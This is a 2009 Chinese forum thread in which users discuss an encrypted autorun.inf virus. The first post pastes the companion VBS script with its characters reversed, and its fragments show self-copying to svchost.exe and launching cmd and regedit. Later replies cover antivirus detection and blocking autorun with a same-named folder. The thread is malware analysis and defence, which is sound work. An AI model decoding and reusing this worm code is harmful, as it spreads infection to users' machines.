发现了个加密的autorun.inf 高手来~

xtay004 · 发表于 2009-9-27 17:13:26

如题看附件，我压缩了一下，顺便把后缀改为inff。貌似是个比较牛x的病毒，大家小心，vbs脚本等到inf被搞定后再传也加过密~

vbs的内容  大家研究下：
——————————————————分割线——————————————————————————
'偶给要不'，号外起乱名文中的我，风暴叫字名文英的我yoB叫字.eniF-_- 5
'E nOrorrseR  emutxeN4
'iD msF,osWShehllS:teF osC=ertaOejbce(ts"RcPiiTGnf.LisEsyeToMjBcE"T:)eS tsWShehllC=ertaOejbce(tw"cSiRTpS.eHLl)"C:la laMni)(2
'M buS)(nia5
'E nOrorrseR  emutxeNmiD:grA V ,ssuridaoLiV ,AsurS:ssA te=sgrrcSW.tpiugrAtnemiV:sLsur=daoMteGVniasuri:)1(uriVssAsteG=niaMuriV)0(sgrA:=muNoD:0ihW A eluNgr < msgrAuoC.P:tnmararaP="&maA&" (sgrNgrA:)muNgrAA=muuNgr + moL:1po4
'uSPbramaL=aCesR(githP(rama ,)3)2
'celeSsaC tbuS emaraP5
'" esaC"nur6
'nuRtaPL=htfeSW(irc.tprcStpiluFaNl,em)2 aC: llnuRuR(aPn)htaC: llvnIedasySmetiV(suraoLV,durisAs:)slaCR l(nuS%"tsyRmetoos\%tsy\mecvssohe.t exV&"urioLs)da3
'saC" etxt ,"ol","gni" "ii","fn3
'"=htaPnuRoRmetsyS%etsys\%toPETON\23m&" EXE.DAlaC:maraPnuR(nuR llaC:)htaPSedavnI lriV(metsyiV,daoLsuC:)ssAsur"(nuR llaoRmetsyS%etsys\%totsohcvs\miV&" exe.)daoLsur9
'b" esaCc" ,"ta"dm7
'PnuR=htaDMC" c/ ohce!iH  m'Ierehap&!"esulaC:uR luR(ntaPnC:)h llaavnIySedmetsriV(oLsuV,dasuri)ssAlaC:uR l%"(ntsySoRme\%totsyss\meohcve.ts" exriV&oLsu)da4
'r" esaC"ge7
'"=htaPnuRe.tideger""""&" exraP(mirT&:""""&)ma(nuR llaC:)htaPnuRavnI llaC(metsySeddaoLsuriVssAsuriV,uR llaC:)etsyS%"(nys\%tooRmhcvs\mets" exe.tsoaoLsuriV&)d9
'saC" emhc"3
'=htaPnuR exe.hh"T&""""&"araP(mir:""
——————————————————分割线————————————————————————
提示：貌似第一句是 "不要给偶乱起外号，我的中文名字叫风暴，我的英文名字Boy，字 Fine-_-5"
偶怀疑 inf的功能就是把这个vbs 倒过来生成正确的可运行的脚本。貌似手上没有这种程序  这样一句一句倒过来看真tmd的累。
难道是这样做免杀？

[ 本帖最后由 xtay004 于 2009-9-29 17:09 编辑 ]

xtay004 · 发表于 2009-9-27 19:44:27

人工顶起~~~~~~~

北斗 · 发表于 2009-9-28 14:28:00

看了这个帖子会不会中病毒？

:D

ahuan · 发表于 2009-9-28 15:18:48

回楼上的，不会。。。。。

zxw · 发表于 2009-9-28 16:53:05

inf加密还是头一回见识

jxf268 · 发表于 2009-9-28 17:12:25

7月份就看到这种加密的autorun.inf ，直接咔嚓了，杀毒软件不报毒。

chris4 · 发表于 2009-9-28 17:47:32

这个要小心，我不会啊

shuodan · 发表于 2009-9-28 19:32:48

前些日子被autorun.inf搞过  PE下杀毒没好使 Ghost恢复打免疫补丁才解决不知道当时是不是这个

刚才试了下  被杀软直接干掉

cxyun · 发表于 2009-9-28 19:42:17

autorun.inf这玩意儿放在光盘里还可以,在其它地方都不干好事,趁早建个同名目录.

shuodan · 发表于 2009-9-28 19:52:39

对于分析病毒得搭建个什么平台呀比如需要的工具

cxyun · 发表于 2009-9-28 19:58:00

高手啊! 在开发安全产品?

shuodan · 发表于 2009-9-28 20:01:37

原帖由 cxyun002 于 2009-9-28 19:58 发表
高手啊!     在开发安全产品?

为裸奔做准备  呵呵

cxyun · 发表于 2009-9-28 20:07:31

裸奔其实也没什么,我就裸奔.

shuodan · 发表于 2009-9-28 20:09:57

老机子挂上杀软就跑不动了总的做点准备哈

cxyun · 发表于 2009-9-28 20:12:54

同你一样,老机子,不过我不相信杀软.

shuodan · 发表于 2009-9-28 20:15:33

摆脱002写个教程、指南好心里有底呀

cxyun · 发表于 2009-9-28 20:21:31

老兄,我只是上几个固定网站.当然没事.

cxyun · 发表于 2009-9-28 20:23:27

杀软这玩意儿,基本上都是骗子.

shuodan · 发表于 2009-9-28 20:35:58

原帖由 cxyun002 于 2009-9-28 20:23 发表
杀软这玩意儿,基本上都是骗子.

基本同意   平时杀软报毒，就是个心里安慰。等崩溃时除了重装，基本没办法。

cxyun · 发表于 2009-9-28 20:42:41

在熊猫烧香发作时代,变种多的不得了,杀软根本不认识,发个样品到几个杀软网站,一周后都没反应.终于看穿了杀软骗钱的把戏.

shuodan · 发表于 2009-9-28 20:59:26

还是002厉害裸奔都能逮住个样品

俺现在是随便什么样品都能逮住俺

cxyun · 发表于 2009-9-28 21:24:51

你就别谦虚了,你是一方高人.

66369 · 发表于 2009-9-28 21:27:47

根目录建只读同名文件.....

cxyun · 发表于 2009-9-28 21:34:05

U盘里建一个,同名文件还能生成?

feiyl · 发表于 2009-9-28 21:41:02

当今病毒横行，裸奔有些怕怕哦…

561607154 · 发表于 2009-9-29 08:42:39

我怕怕！！！！！！！！

这东西我们学校的机房一大帮

皈依 · 发表于 2009-9-29 09:24:19

呵呵，这个AUTORUN.INF就是不干好事啊！

cxyun · 发表于 2009-9-29 13:53:55

原帖由 feiyl 于 2009-9-28 21:41 发表
当今病毒横行，裸奔有些怕怕哦…

当今马马横行，裸奔骑上去就是了.
当病毒出现时，杀软也举手投降了.

xtay004 · 发表于 2009-9-29 16:17:58

这个 autorun 对应的vbs 才牛逼呢~~代码全是倒着写看着真累。。。
这个autorun.inf 不要轻易type 我type的时候滴滴的响就像貌似能运行的样子可怕啊。

北斗 · 发表于 2009-9-29 16:23:00

type文件应该没什么问题，dos下type一个exe或者lib蜂鸣器也会滴滴响

		自动登录	找回密码
密码			注册